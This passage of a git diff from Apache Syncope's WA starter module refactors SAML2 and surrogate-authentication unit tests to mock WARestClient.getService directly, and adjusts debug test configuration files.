= mock(WARestClient.class); + WARestClient waRestClient = mock(WARestClient.class); + when(waRestClient.getService(SAML2SPEntityService.class)).thenReturn(service); - SyncopeClient syncopeClient = mock(SyncopeClient.class); - when(syncopeClient.getService(SAML2SPEntityService.class)).thenReturn(service); - when(restClient.getSyncopeClient()).thenReturn(syncopeClient); - - WASAML2ClientCustomizer customizer = new WASAML2ClientCustomizer(restClient); + WASAML2ClientCustomizer customizer = new WASAML2ClientCustomizer(waRestClient); SAML2Client client = getSAML2Client(); customizer.customize(client); client.init(); diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGeneratorTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGeneratorTest.java index 29d012081b3..43457616b83 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGeneratorTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGeneratorTest.java @@ -27,7 +27,6 @@ import java.nio.charset.StandardCharsets; import org.apache.commons.io.IOUtils; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.to.SAML2SPEntityTO; import org.apache.syncope.common.rest.api.service.SAML2SPEntityService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -39,8 +38,6 @@ public class WASAML2ClientKeystoreGeneratorTest extends BaseWASAML2ClientTest { private static WARestClient getWaRestClient() throws Exception { - WARestClient restClient = mock(WARestClient.class); - SAML2SPEntityTO keystoreTO = new SAML2SPEntityTO.Builder() .key("CAS") .keystore(getKeystoreAsString()) @@ -51,10 +48,9 @@ private static WARestClient getWaRestClient() throws Exception { when(service.get(anyString())).thenReturn(keystoreTO); doNothing().when(service).set(any(SAML2SPEntityTO.class)); - SyncopeClient syncopeClient = mock(SyncopeClient.class); - when(syncopeClient.getService(SAML2SPEntityService.class)).thenReturn(service); - when(restClient.getSyncopeClient()).thenReturn(syncopeClient); - return restClient; + WARestClient waRestClient = mock(WARestClient.class); + when(waRestClient.getService(SAML2SPEntityService.class)).thenReturn(service); + return waRestClient; } @Test diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGeneratorTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGeneratorTest.java index 794f9285e11..3e1f19340c5 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGeneratorTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGeneratorTest.java @@ -29,7 +29,6 @@ import java.io.IOException; import java.nio.charset.StandardCharsets; import org.apache.commons.io.IOUtils; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.to.SAML2SPEntityTO; import org.apache.syncope.common.rest.api.service.SAML2SPEntityService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -42,7 +41,6 @@ public class WASAML2ClientMetadataGeneratorTest extends BaseWASAML2ClientTest { private static WARestClient getWaRestClient() throws IOException { - WARestClient restClient = mock(WARestClient.class); SAML2SPEntityTO metadataTO = new SAML2SPEntityTO.Builder() .key("Syncope") .metadata(IOUtils.toString(new ClassPathResource("sp-metadata.xml").getInputStream(), @@ -53,10 +51,9 @@ private static WARestClient getWaRestClient() throws IOException { when(saml2SPMetadataService.get(anyString())).thenReturn(metadataTO); doNothing().when(saml2SPMetadataService).set(any(SAML2SPEntityTO.class)); - SyncopeClient syncopeClient = mock(SyncopeClient.class); - when(syncopeClient.getService(SAML2SPEntityService.class)).thenReturn(saml2SPMetadataService); - when(restClient.getSyncopeClient()).thenReturn(syncopeClient); - return restClient; + WARestClient waRestClient = mock(WARestClient.class); + when(waRestClient.getService(SAML2SPEntityService.class)).thenReturn(saml2SPMetadataService); + return waRestClient; } @Test diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolverTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolverTest.java index 3b128deffb3..db5aabc8dd1 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolverTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolverTest.java @@ -27,8 +27,6 @@ import java.io.File; import java.util.Base64; -import org.apache.commons.io.IOUtils; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.to.SAML2SPEntityTO; import org.apache.syncope.common.rest.api.service.SAML2SPEntityService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -43,23 +41,21 @@ public void fetchMetadata() throws Exception { SAML2Client client = getSAML2Client(); String keystoreFile = File.createTempFile("keystore", "jks").getCanonicalPath(); client.getConfiguration().setKeystoreResourceFilepath(keystoreFile); - WARestClient restClient = mock(WARestClient.class); SAML2SPEntityTO metadataTO = new SAML2SPEntityTO.Builder() .key("Syncope") .metadata(Base64.getEncoder().encodeToString( - IOUtils.toByteArray(new ClassPathResource("sp-metadata.xml").getInputStream()))) + new ClassPathResource("sp-metadata.xml").getInputStream().readAllBytes())) .build(); SAML2SPEntityService saml2SPMetadataService = mock(SAML2SPEntityService.class); when(saml2SPMetadataService.get(anyString())).thenReturn(metadataTO); doNothing().when(saml2SPMetadataService).set(any(SAML2SPEntityTO.class)); - SyncopeClient syncopeClient = mock(SyncopeClient.class); - when(syncopeClient.getService(SAML2SPEntityService.class)).thenReturn(saml2SPMetadataService); - when(restClient.getSyncopeClient()).thenReturn(syncopeClient); + WARestClient waRestClient = mock(WARestClient.class); + when(waRestClient.getService(SAML2SPEntityService.class)).thenReturn(saml2SPMetadataService); - WASAML2MetadataResolver resolver = new WASAML2MetadataResolver(restClient, client); + WASAML2MetadataResolver resolver = new WASAML2MetadataResolver(waRestClient, client); assertNotNull(resolver.fetchMetadata()); } } diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationServiceTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationServiceTest.java index fd99d9e45b5..cea5f004cb0 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationServiceTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationServiceTest.java @@ -43,11 +43,10 @@ public class WASurrogateAuthenticationServiceTest extends AbstractTest { @Test public void verifyImpersonation() { String owner = "syncope-principal"; - ImpersonationAccount account = new ImpersonationAccount.Builder().impersonated("impersonatee"). - build(); + ImpersonationAccount account = new ImpersonationAccount.Builder(). + impersonated("impersonatee").build(); - ImpersonationService impersonationService = waRestClient.getSyncopeClient(). - getService(ImpersonationService.class); + ImpersonationService impersonationService = waRestClient.getService(ImpersonationService.class); impersonationService.create(owner, account); diff --git a/wa/starter/src/test/resources/debug/log4j2.xml b/wa/starter/src/test/resources/debug/log4j2.xml index 1e1393fd278..c274303dc1f 100644 --- a/wa/starter/src/test/resources/debug/log4j2.xml +++ b/wa/starter/src/test/resources/debug/log4j2.xml @@ -49,6 +49,10 @@ under the License. + + + + diff --git a/wa/starter/src/test/resources/debug/wa-debug.properties b/wa/starter/src/test/resources/debug/wa-debug.properties index bad535ac691..cf6e0d2975a 100644 --- a/wa/starter/src/test/resources/debug/wa-debug.properties +++ b/wa/starter/src/test/resources/debug/wa-debug.properties @@ -21,6 +21,8 @@ keymaster.address=https://localhost:9443/syncope/rest/keymaster keymaster.username=${anonymousUser} keymaster.password=${anonymousKey} +management.endpoints.web.exposure.include=info,health,env,beans,loggers,ssoSessions,registeredServices,refresh,authenticationHandlers,authenticationPolicies,resolveAttributes + cas.server.name=http://localhost:8080 cas.server.prefix=${cas.server.name}/syncope-wa cas.authn.accept.users=admin::password